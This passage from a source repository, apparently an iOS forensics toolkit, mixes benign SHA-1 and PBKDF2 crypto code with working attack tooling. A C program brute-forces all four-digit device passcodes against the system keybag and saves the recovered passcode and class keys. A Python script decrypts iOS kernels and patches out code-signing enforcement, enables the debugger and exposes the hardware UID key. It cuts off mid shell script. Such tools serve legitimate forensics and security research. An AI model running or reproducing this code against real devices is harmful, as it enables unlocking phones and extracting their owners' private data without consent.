z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30); 46 | 47 | /* Hash a single 512-bit block. This is the core of the algorithm. */ 48 | 49 | void 50 | SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]) 51 | { 52 | u_int32_t a, b, c, d, e; 53 | typedef union { 54 | unsigned char c[64]; 55 | unsigned int l[16]; 56 | } CHAR64LONG16; 57 | CHAR64LONG16* block; 58 | #ifdef SHA1HANDSOFF 59 | unsigned char workspace[SHA1_BLOCK_LENGTH]; 60 | 61 | block = (CHAR64LONG16 *)workspace; 62 | bcopy(buffer, block, SHA1_BLOCK_LENGTH); 63 | #else 64 | block = (CHAR64LONG16 *)buffer; 65 | #endif 66 | /* Copy context->state[] to working vars */ 67 | a = state[0]; 68 | b = state[1]; 69 | c = state[2]; 70 | d = state[3]; 71 | e = state[4]; 72 | 73 | /* 4 rounds of 20 operations each. Loop unrolled. */ 74 | R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); 75 | R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); 76 | R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); 77 | R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); 78 | R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); 79 | R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); 80 | R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); 81 | R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); 82 | R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); 83 | R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); 84 | R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); 85 | R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); 86 | R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); 87 | R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); 88 | R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); 89 | R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); 90 | R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); 91 | R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); 92 | R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); 93 | R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); 94 | 95 | /* Add the working vars back into context.state[] */ 96 | state[0] += a; 97 | state[1] += b; 98 | state[2] += c; 99 | state[3] += d; 100 | state[4] += e; 101 | /* Wipe variables */ 102 | a = b = c = d = e = 0; 103 | } 104 | 105 | 106 | /* SHA1Init - Initialize new context */ 107 | 108 | void 109 | SHA1Init(SHA1_CTX *context) 110 | { 111 | /* SHA1 initialization constants */ 112 | context->count = 0; 113 | context->state[0] = 0x67452301; 114 | context->state[1] = 0xEFCDAB89; 115 | context->state[2] = 0x98BADCFE; 116 | context->state[3] = 0x10325476; 117 | context->state[4] = 0xC3D2E1F0; 118 | } 119 | 120 | 121 | /* Run your data through this. */ 122 | 123 | void 124 | SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len) 125 | { 126 | unsigned int i; 127 | unsigned int j; 128 | 129 | j = (u_int32_t)((context->count >> 3) & 63); 130 | context->count += (len << 3); 131 | if ((j + len) > 63) { 132 | bcopy(data, &context->buffer[j], (i = 64 - j)); 133 | SHA1Transform(context->state, context->buffer); 134 | for ( ; i + 63 < len; i += 64) { 135 | SHA1Transform(context->state, &data[i]); 136 | } 137 | j = 0; 138 | } 139 | else i = 0; 140 | bcopy(&data[i], &context->buffer[j], len - i); 141 | } 142 | 143 | 144 | /* Add padding and return the message digest. */ 145 | 146 | void 147 | SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context) 148 | { 149 | unsigned int i; 150 | unsigned char finalcount[8]; 151 | 152 | for (i = 0; i < 8; i++) { 153 | finalcount[i] = (unsigned char)((context->count >> 154 | ((7 - (i & 7)) * 8)) & 255); /* Endian independent */ 155 | } 156 | SHA1Update(context, (unsigned char *)"\200", 1); 157 | while ((context->count & 504) != 448) { 158 | SHA1Update(context, (unsigned char *)"\0", 1); 159 | } 160 | SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ 161 | 162 | if (digest) 163 | for (i = 0; i < SHA1_DIGEST_LENGTH; i++) { 164 | digest[i] = (unsigned char)((context->state[i >> 2] >> 165 | ((3 - (i & 3)) * 8)) & 255); 166 | } 167 | bzero(&finalcount, 8); 168 | #if 0 /* We want to use this for "keyfill" */ 169 | /* Wipe variables */ 170 | i = 0; 171 | bzero(context->buffer, 64); 172 | bzero(context->state, 20); 173 | bzero(context->count, 8); 174 | #ifdef SHA1HANDSOFF /* make SHA1Transform overwrite its own static vars */ 175 | SHA1Transform(context->state, context->buffer); 176 | #endif 177 | #endif 178 | } 179 | -------------------------------------------------------------------------------- /ramdisk_tools/systemkb_bruteforce.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "AppleKeyStore.h" 6 | #include "IOKit.h" 7 | #include "IOAESAccelerator.h" 8 | #include "registry.h" 9 | #include "util.h" 10 | #include "image.h" 11 | #include "remote_functions.h" 12 | 13 | /* 14 | #define MobileKeyBagBase 0x354cb000 15 | 16 | CFDictionaryRef (*AppleKeyStore_loadKeyBag)(char*, char*) = MobileKeyBagBase + 0x50A8; 17 | int (*AppleKeyStoreKeyBagSetSystem)(int) = MobileKeyBagBase + 0x910; 18 | int (*AppleKeyStoreKeyBagCreateWithData)(CFDataRef, int*) = MobileKeyBagBase + 0xC88; 19 | */ 20 | /* 21 | /private/var/mobile/Library/ConfigurationProfiles/PublicInfo/EffectiveUserSettings.plist.plist 22 | plist["restrictedValue"]["passcodeKeyboardComplexity"] 23 | */ 24 | 25 | void saveKeybagInfos(CFDataRef kbkeys, KeyBag* kb, uint8_t* key835, char* passcode, uint8_t* passcodeKey, CFMutableDictionaryRef classKeys) 26 | { 27 | CFMutableDictionaryRef out = device_info(-1, NULL); 28 | 29 | CFStringRef uuid = CreateHexaCFString(kb->uuid, 16); 30 | 31 | CFDictionaryAddValue(out, CFSTR("uuid"), uuid); 32 | CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys); 33 | 34 | addHexaString(out, CFSTR("salt"), kb->salt, 20); 35 | 36 | if (passcode != NULL) 37 | { 38 | CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII); 39 | CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); 40 | CFRelease(cfpasscode); 41 | } 42 | if (passcodeKey != NULL) 43 | addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); 44 | 45 | if (key835 != NULL) 46 | addHexaString(out, CFSTR("key835"), key835, 16); 47 | if (classKeys != NULL) 48 | CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys); 49 | 50 | CFStringRef resultsFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); 51 | 52 | CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@.plist\n"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); 53 | 54 | CFShow(printString); 55 | CFRelease(printString); 56 | 57 | saveResults(resultsFileName, out); 58 | 59 | CFRelease(resultsFileName); 60 | CFRelease(uuid); 61 | CFRelease(out); 62 | 63 | } 64 | 65 | char* bruteforceWithAppleKeyStore(CFDataRef kbkeys) 66 | { 67 | uint64_t keybag_id = 0; 68 | int i; 69 | 70 | char* passcode = (char*) malloc(5); 71 | memset(passcode, 0, 5); 72 | 73 | AppleKeyStoreKeyBagInit(); 74 | AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id); 75 | printf("keybag id=%x\n", (uint32_t) keybag_id); 76 | AppleKeyStoreKeyBagSetSystem(keybag_id); 77 | 78 | CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL); 79 | 80 | io_connect_t conn = IOKit_getConnect("AppleKeyStore"); 81 | 82 | if (!AppleKeyStoreUnlockDevice(conn, data)) 83 | { 84 | return passcode; 85 | } 86 | 87 | for(i=0; i < 10000; i++) 88 | { 89 | sprintf(passcode, "%04d", i); 90 | //if (i % 1000 == 0) 91 | printf("%s\n", passcode); 92 | if (!AppleKeyStoreUnlockDevice(conn, data)) 93 | { 94 | return passcode; 95 | } 96 | } 97 | free(passcode); 98 | return NULL; 99 | } 100 | 101 | char* bruteforceUserland(KeyBag* kb, uint8_t* key835) 102 | { 103 | int i; 104 | char* passcode = (char*) malloc(5); 105 | memset(passcode, 0, 5); 106 | 107 | if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) 108 | return passcode; 109 | 110 | for(i=0; i < 10000; i++) 111 | { 112 | sprintf(passcode, "%04d", i); 113 | //if (i % 1000 == 0) 114 | printf("%s\n", passcode); 115 | if (AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835)) 116 | return passcode; 117 | } 118 | free(passcode); 119 | return NULL; 120 | } 121 | 122 | 123 | int main(int argc, char* argv[]) 124 | { 125 | u_int8_t passcodeKey[32]={0}; 126 | char* passcode = NULL; 127 | int bruteforceMethod = 0; 128 | int showImages = 0; 129 | int c; 130 | 131 | while ((c = getopt (argc, argv, "ui")) != -1) 132 | { 133 | switch (c) 134 | { 135 | case 'u': 136 | bruteforceMethod = 1; 137 | break; 138 | case 'i': 139 | showImages = 1; 140 | break; 141 | } 142 | } 143 | 144 | uint8_t* key835 = IOAES_key835(); 145 | 146 | if (!memcmp(key835, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) 147 | { 148 | printf("FAIL: missing UID kernel patch\n"); 149 | return -1; 150 | } 151 | 152 | CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); 153 | 154 | if (kbdict == NULL) 155 | { 156 | mountDataPartition("/mnt2"); 157 | 158 | kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag"); 159 | if (kbdict == NULL) 160 | { 161 | printf("FAILed to load keybag\n"); 162 | return -1; 163 | } 164 | } 165 | 166 | CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); 167 | CFRetain(kbkeys); 168 | 169 | if (kbkeys == NULL) 170 | { 171 | printf("FAIL: KeyBagKeys not found\n"); 172 | return -1; 173 | } 174 | //write_file("kbblob.bin", CFDataGetBytePtr(kbkeys), CFDataGetLength(kbkeys)); 175 | KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); 176 | if (kb == NULL) 177 | { 178 | printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n"); 179 | return -1; 180 | } 181 | 182 | //save all we have for now 183 | saveKeybagInfos(kbkeys, kb, key835, NULL, NULL, NULL); 184 | 185 | //now try to unlock the keybag 186 | 187 | if (bruteforceMethod == 1) 188 | passcode = bruteforceUserland(kb, key835); 189 | else 190 | passcode = bruteforceWithAppleKeyStore(kbkeys); 191 | 192 | if (passcode != NULL) 193 | { 194 | if (!strcmp(passcode, "")) 195 | printf("No passcode set\n"); 196 | else 197 | printf("Found passcode : %s\n", passcode); 198 | 199 | AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835); 200 | AppleKeyStore_printKeyBag(kb); 201 | 202 | CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb); 203 | 204 | AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey); 205 | 206 | printf("Passcode key : "); 207 | printBytesToHex(passcodeKey, 32); 208 | printf("\n"); 209 | 210 | printf("Key 0x835 : "); 211 | printBytesToHex(key835, 16); 212 | printf("\n"); 213 | 214 | //save all we have for now 215 | saveKeybagInfos(kbkeys, kb, key835, passcode, passcodeKey, classKeys); 216 | CFRelease(classKeys); 217 | 218 | free(passcode); 219 | } 220 | free(kb); 221 | 222 | CFRelease(kbkeys); 223 | CFRelease(kbdict); 224 | 225 | return 0; 226 | } 227 | -------------------------------------------------------------------------------- /ramdisk_tools/bsdcrypto/pbkdf2.c: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: pbkdf2.c,v 1.1 2008/06/14 06:28:27 djm Exp $ */ 2 | 3 | /*- 4 | * Copyright (c) 2008 Damien Bergamini 5 | * 6 | * Permission to use, copy, modify, and distribute this software for any 7 | * purpose with or without fee is hereby granted, provided that the above 8 | * copyright notice and this permission notice appear in all copies. 9 | * 10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | */ 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | 26 | #include "sha1.h" 27 | 28 | #include "pbkdf2.h" 29 | 30 | /* #define PBKDF2_MAIN */ 31 | 32 | /* 33 | * HMAC-SHA-1 (from RFC 2202). 34 | */ 35 | static void 36 | hmac_sha1(const u_int8_t *text, size_t text_len, const u_int8_t *key, 37 | size_t key_len, u_int8_t digest[SHA1_DIGEST_LENGTH]) 38 | { 39 | SHA1_CTX ctx; 40 | u_int8_t k_pad[SHA1_BLOCK_LENGTH]; 41 | u_int8_t tk[SHA1_DIGEST_LENGTH]; 42 | int i; 43 | 44 | if (key_len > SHA1_BLOCK_LENGTH) { 45 | SHA1Init(&ctx); 46 | SHA1Update(&ctx, key, key_len); 47 | SHA1Final(tk, &ctx); 48 | 49 | key = tk; 50 | key_len = SHA1_DIGEST_LENGTH; 51 | } 52 | 53 | bzero(k_pad, sizeof k_pad); 54 | bcopy(key, k_pad, key_len); 55 | for (i = 0; i < SHA1_BLOCK_LENGTH; i++) 56 | k_pad[i] ^= 0x36; 57 | 58 | SHA1Init(&ctx); 59 | SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH); 60 | SHA1Update(&ctx, text, text_len); 61 | SHA1Final(digest, &ctx); 62 | 63 | bzero(k_pad, sizeof k_pad); 64 | bcopy(key, k_pad, key_len); 65 | for (i = 0; i < SHA1_BLOCK_LENGTH; i++) 66 | k_pad[i] ^= 0x5c; 67 | 68 | SHA1Init(&ctx); 69 | SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH); 70 | SHA1Update(&ctx, digest, SHA1_DIGEST_LENGTH); 71 | SHA1Final(digest, &ctx); 72 | } 73 | 74 | /* 75 | * Password-Based Key Derivation Function 2 (PKCS #5 v2.0). 76 | * Code based on IEEE Std 802.11-2007, Annex H.4.2. 77 | */ 78 | int 79 | pkcs5_pbkdf2(const char *pass, size_t pass_len, const char *salt, size_t salt_len, 80 | u_int8_t *key, size_t key_len, u_int rounds) 81 | { 82 | u_int8_t *asalt, obuf[SHA1_DIGEST_LENGTH]; 83 | u_int8_t d1[SHA1_DIGEST_LENGTH], d2[SHA1_DIGEST_LENGTH]; 84 | u_int i, j; 85 | u_int count; 86 | size_t r; 87 | 88 | if (rounds < 1 || key_len == 0) 89 | return -1; 90 | if (salt_len == 0 || salt_len > SIZE_MAX - 1) 91 | return -1; 92 | if ((asalt = malloc(salt_len + 4)) == NULL) 93 | return -1; 94 | 95 | memcpy(asalt, salt, salt_len); 96 | 97 | for (count = 1; key_len > 0; count++) { 98 | asalt[salt_len + 0] = (count >> 24) & 0xff; 99 | asalt[salt_len + 1] = (count >> 16) & 0xff; 100 | asalt[salt_len + 2] = (count >> 8) & 0xff; 101 | asalt[salt_len + 3] = count & 0xff; 102 | hmac_sha1(asalt, salt_len + 4, pass, pass_len, d1); 103 | memcpy(obuf, d1, sizeof(obuf)); 104 | 105 | for (i = 1; i < rounds; i++) { 106 | hmac_sha1(d1, sizeof(d1), pass, pass_len, d2); 107 | memcpy(d1, d2, sizeof(d1)); 108 | for (j = 0; j < sizeof(obuf); j++) 109 | obuf[j] ^= d1[j]; 110 | } 111 | 112 | r = MIN(key_len, SHA1_DIGEST_LENGTH); 113 | memcpy(key, obuf, r); 114 | key += r; 115 | key_len -= r; 116 | }; 117 | bzero(asalt, salt_len + 4); 118 | free(asalt); 119 | bzero(d1, sizeof(d1)); 120 | bzero(d2, sizeof(d2)); 121 | bzero(obuf, sizeof(obuf)); 122 | 123 | return 0; 124 | } 125 | 126 | #ifdef PBKDF2_MAIN 127 | struct test_vector { 128 | u_int rounds; 129 | const char *pass; 130 | const char *salt; 131 | const char expected[32]; 132 | }; 133 | 134 | /* 135 | * Test vectors from RFC 3962 136 | */ 137 | struct test_vector test_vectors[] = { 138 | { 139 | 1, 140 | "password", 141 | "ATHENA.MIT.EDUraeburn", 142 | { 143 | 0xcd, 0xed, 0xb5, 0x28, 0x1b, 0xb2, 0xf8, 0x01, 144 | 0x56, 0x5a, 0x11, 0x22, 0xb2, 0x56, 0x35, 0x15, 145 | 0x0a, 0xd1, 0xf7, 0xa0, 0x4b, 0xb9, 0xf3, 0xa3, 146 | 0x33, 0xec, 0xc0, 0xe2, 0xe1, 0xf7, 0x08, 0x37 147 | }, 148 | }, { 149 | 2, 150 | "password", 151 | "ATHENA.MIT.EDUraeburn", 152 | { 153 | 0x01, 0xdb, 0xee, 0x7f, 0x4a, 0x9e, 0x24, 0x3e, 154 | 0x98, 0x8b, 0x62, 0xc7, 0x3c, 0xda, 0x93, 0x5d, 155 | 0xa0, 0x53, 0x78, 0xb9, 0x32, 0x44, 0xec, 0x8f, 156 | 0x48, 0xa9, 0x9e, 0x61, 0xad, 0x79, 0x9d, 0x86 157 | }, 158 | }, { 159 | 1200, 160 | "password", 161 | "ATHENA.MIT.EDUraeburn", 162 | { 163 | 0x5c, 0x08, 0xeb, 0x61, 0xfd, 0xf7, 0x1e, 0x4e, 164 | 0x4e, 0xc3, 0xcf, 0x6b, 0xa1, 0xf5, 0x51, 0x2b, 165 | 0xa7, 0xe5, 0x2d, 0xdb, 0xc5, 0xe5, 0x14, 0x2f, 166 | 0x70, 0x8a, 0x31, 0xe2, 0xe6, 0x2b, 0x1e, 0x13 167 | }, 168 | }, { 169 | 5, 170 | "password", 171 | "\0224VxxV4\022", /* 0x1234567878563412 */ 172 | { 173 | 0xd1, 0xda, 0xa7, 0x86, 0x15, 0xf2, 0x87, 0xe6, 174 | 0xa1, 0xc8, 0xb1, 0x20, 0xd7, 0x06, 0x2a, 0x49, 175 | 0x3f, 0x98, 0xd2, 0x03, 0xe6, 0xbe, 0x49, 0xa6, 176 | 0xad, 0xf4, 0xfa, 0x57, 0x4b, 0x6e, 0x64, 0xee 177 | }, 178 | }, { 179 | 1200, 180 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" 181 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 182 | "pass phrase equals block size", 183 | { 184 | 0x13, 0x9c, 0x30, 0xc0, 0x96, 0x6b, 0xc3, 0x2b, 185 | 0xa5, 0x5f, 0xdb, 0xf2, 0x12, 0x53, 0x0a, 0xc9, 186 | 0xc5, 0xec, 0x59, 0xf1, 0xa4, 0x52, 0xf5, 0xcc, 187 | 0x9a, 0xd9, 0x40, 0xfe, 0xa0, 0x59, 0x8e, 0xd1 188 | }, 189 | }, { 190 | 1200, 191 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" 192 | "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 193 | "pass phrase exceeds block size", 194 | { 195 | 0x9c, 0xca, 0xd6, 0xd4, 0x68, 0x77, 0x0c, 0xd5, 196 | 0x1b, 0x10, 0xe6, 0xa6, 0x87, 0x21, 0xbe, 0x61, 197 | 0x1a, 0x8b, 0x4d, 0x28, 0x26, 0x01, 0xdb, 0x3b, 198 | 0x36, 0xbe, 0x92, 0x46, 0x91, 0x5e, 0xc8, 0x2a 199 | }, 200 | }, { 201 | 50, 202 | "\360\235\204\236", /* g-clef (0xf09d849e) */ 203 | "EXAMPLE.COMpianist", 204 | { 205 | 0x6b, 0x9c, 0xf2, 0x6d, 0x45, 0x45, 0x5a, 0x43, 206 | 0xa5, 0xb8, 0xbb, 0x27, 0x6a, 0x40, 0x3b, 0x39, 207 | 0xe7, 0xfe, 0x37, 0xa0, 0xc4, 0x1e, 0x02, 0xc2, 208 | 0x81, 0xff, 0x30, 0x69, 0xe1, 0xe9, 0x4f, 0x52 209 | }, 210 | } 211 | }; 212 | #define NVECS (sizeof(test_vectors) / sizeof(*test_vectors)) 213 | 214 | #include 215 | #include 216 | 217 | static void 218 | printhex(const char *s, const u_int8_t *buf, size_t len) 219 | { 220 | size_t i; 221 | 222 | printf("%s: ", s); 223 | for (i = 0; i < len; i++) 224 | printf("%02x", buf[i]); 225 | printf("\n"); 226 | fflush(stdout); 227 | } 228 | 229 | int 230 | main(int argc, char **argv) 231 | { 232 | u_int i, j; 233 | u_char result[32]; 234 | struct test_vector *vec; 235 | 236 | for (i = 0; i < NVECS; i++) { 237 | vec = &test_vectors[i]; 238 | printf("vector %u\n", i); 239 | for (j = 1; j < sizeof(result); j += 3) { 240 | if (pkcs5_pbkdf2(vec->pass, strlen(vec->pass), 241 | vec->salt, strlen(vec->salt), 242 | result, j, vec->rounds) != 0) 243 | errx(1, "pbkdf2 failed"); 244 | if (memcmp(result, vec->expected, j) != 0) { 245 | printhex(" got", result, j); 246 | printhex("want", vec->expected, j); 247 | return 1; 248 | } 249 | } 250 | } 251 | return 0; 252 | } 253 | #endif /* PBKDF2_MAIN */ 254 | -------------------------------------------------------------------------------- /python_scripts/kernel_patcher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import plistlib 4 | import zipfile 5 | import struct 6 | import sys 7 | import os 8 | from optparse import OptionParser 9 | from Crypto.Cipher import AES 10 | from util.lzss import decompress_lzss 11 | 12 | devices = {"n88ap": "iPhone2,1", 13 | "n90ap": "iPhone3,1", 14 | "n92ap": "iPhone3,3", 15 | "n18ap": "iPod3,1", 16 | "n81ap": "iPod4,1", 17 | "k48ap": "iPad1,1" 18 | } 19 | 20 | h=lambda x:x.replace(" ","").decode("hex") 21 | #https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c 22 | patchs_ios5 = { 23 | "CSED" : (h("df f8 88 33 1d ee 90 0f a2 6a 1b 68"), h("df f8 88 33 1d ee 90 0f a2 6a 01 23")), 24 | "AMFI" : (h("D0 47 01 21 40 B1 13 35"), h("00 20 01 21 40 B1 13 35")), 25 | "_PE_i_can_has_debugger" : (h("38 B1 05 49 09 68 00 29"), h("01 20 70 47 09 68 00 29")), 26 | "IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")), 27 | #not stritcly required, useful for testing 28 | "getxattr system": ("com.apple.system.\x00", "com.apple.aaaaaa.\x00"), 29 | } 30 | 31 | patchs_ios4 = { 32 | "NAND_epoch" : ("\x90\x47\x83\x45", "\x90\x47\x00\x20"), 33 | "CSED" : ("\x00\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00", "\x01\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00"), 34 | "AMFI" : ("\x01\xD1\x01\x30\x04\xE0\x02\xDB", "\x00\x20\x01\x30\x04\xE0\x02\xDB"), 35 | "_PE_i_can_has_debugger" : (h("48 B1 06 4A 13 68 13 B9"), h("01 20 70 47 13 68 13 B9")), 36 | "IOAESAccelerator enable UID" : ("\x56\xD0\x40\xF6", "\x00\x00\x40\xF6"), 37 | "getxattr system": ("com.apple.system.\x00", "com.apple.aaaaaa.\x00"), 38 | } 39 | 40 | patchs_ios4_fixnand = { 41 | "Please reboot => jump to prepare signature": (h("B0 47 DF F8 E8 04 F3 E1"), h("B0 47 DF F8 E8 04 1D E0")), 42 | "prepare signature => jump to write signature": (h("10 43 18 60 DF F8 AC 04"), h("10 43 18 60 05 E1 00 20")), 43 | "check write ok => infinite loop" : (h("A3 48 B0 47 01 24"), h("A3 48 B0 47 FE E7")) 44 | } 45 | 46 | #grab keys from redsn0w Keys.plist 47 | class IPSWkeys(object): 48 | def __init__(self, manifest): 49 | self.keys = {} 50 | buildi = manifest["BuildIdentities"][0] 51 | dc = buildi["Info"]["DeviceClass"] 52 | build = "%s_%s_%s" % (devices.get(dc,dc), manifest["ProductVersion"], manifest["ProductBuildVersion"]) 53 | try: 54 | rs = plistlib.readPlist("Keys.plist") 55 | except: 56 | raise Exception("Get Keys.plist from redsn0w and place it in the current directory") 57 | for k in rs["Keys"]: 58 | if k["Build"] == build: 59 | self.keys = k 60 | break 61 | 62 | def getKeyIV(self, filename): 63 | if not self.keys.has_key(filename): 64 | return None, None 65 | k = self.keys[filename] 66 | return k.get("Key",""), k.get("IV","") 67 | 68 | def decryptImg3(blob, key, iv): 69 | assert blob[:4] == "3gmI", "Img3 magic tag" 70 | data = "" 71 | for i in xrange(20, len(blob)): 72 | tag = blob[i:i+4] 73 | size, real_size = struct.unpack("= real_size, "Img3 length check" 76 | data = blob[i+12:i+size] 77 | break 78 | i += size 79 | return AES.new(key, AES.MODE_CBC, iv).decrypt(data)[:real_size] 80 | 81 | 82 | def main(ipswname, options): 83 | print "Finding ipsw..." 84 | ipsw = zipfile.ZipFile(ipswname) 85 | print "Finding kernel..." 86 | manifest = plistlib.readPlistFromString(ipsw.read("BuildManifest.plist")) 87 | kernelname = manifest["BuildIdentities"][0]["Manifest"]["KernelCache"]["Info"]["Path"] 88 | kernel = ipsw.read(kernelname) 89 | print "Finding ipsw keys..." 90 | keys = IPSWkeys(manifest) 91 | 92 | key,iv = keys.getKeyIV(kernelname) 93 | 94 | if key == None: 95 | print "No keys found for kernel!" 96 | return 97 | else: 98 | print "Found ipsw key!" 99 | 100 | print "Decrypting kernel \"%s\"" % kernelname 101 | kernel = decryptImg3(kernel, key.decode("hex"), iv.decode("hex")) 102 | assert kernel.startswith("complzss"), "Decrypted kernelcache does not start with \"complzss\" => bad key/iv ?" 103 | 104 | print "Decrypted successfully!" 105 | 106 | print "Unpacking kernel..." 107 | kernel = decompress_lzss(kernel) 108 | assert kernel.startswith("\xCE\xFA\xED\xFE"), "Decompressed kernelcache does not start with 0xFEEDFACE" 109 | 110 | print "Unpacked successfully!" 111 | 112 | patchs = patchs_ios5 113 | if manifest["ProductVersion"].startswith("4."): 114 | print "Using iOS 4 kernel patches" 115 | patchs = patchs_ios4 116 | 117 | if options.fixnand: 118 | if patchs != patchs_ios4: 119 | print "FAILED: use --fixnand with iOS 4.x IPSW" 120 | return 121 | patchs.update(patchs_ios4_fixnand) 122 | kernelname = "fix_nand_" + kernelname 123 | print "WARNING: only use this kernel to fix NAND epoch brick" 124 | 125 | for p in patchs: 126 | print "Applying %s patch..." % p 127 | s, r = patchs[p] 128 | c = kernel.count(s) 129 | if c != 1: 130 | print "=> FAIL, count=%d, do not boot that kernel it wont work" % c 131 | else: 132 | kernel = kernel.replace(s,r) 133 | 134 | print "Patched kernel successfully!"; 135 | outkernel = "%s.patched" % kernelname 136 | print "Saving patched kernel" 137 | open(outkernel, "wb").write(kernel) 138 | print "Patched kernel saved to %s" % outkernel 139 | 140 | print "Finding ramdisk..." 141 | ramdiskname = manifest["BuildIdentities"][0]["Manifest"]["RestoreRamDisk"]["Info"]["Path"] 142 | key,iv = keys.getKeyIV("Ramdisk") 143 | 144 | print "Finalizing..." 145 | 146 | build_cmd = "./build_ramdisk.sh %s %s %s %s" % (ipswname, ramdiskname, key, iv) 147 | rs_cmd = "redsn0w -i %s -r myramdisk.dmg -k %s" % (ipswname, outkernel) 148 | rdisk_script="""#!/bin/sh 149 | 150 | for VER in 4.2 4.3 5.0 5.1 151 | do 152 | if [ -f "/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS$VER.sdk/System/Library/Frameworks/IOKit.framework/IOKit" ]; 153 | then 154 | SDKVER=$VER 155 | echo "Found iOS SDK $SDKVER" 156 | break 157 | fi 158 | done 159 | if [ "$SDKVER" == "" ]; then 160 | echo "iOS SDK not found" 161 | exit 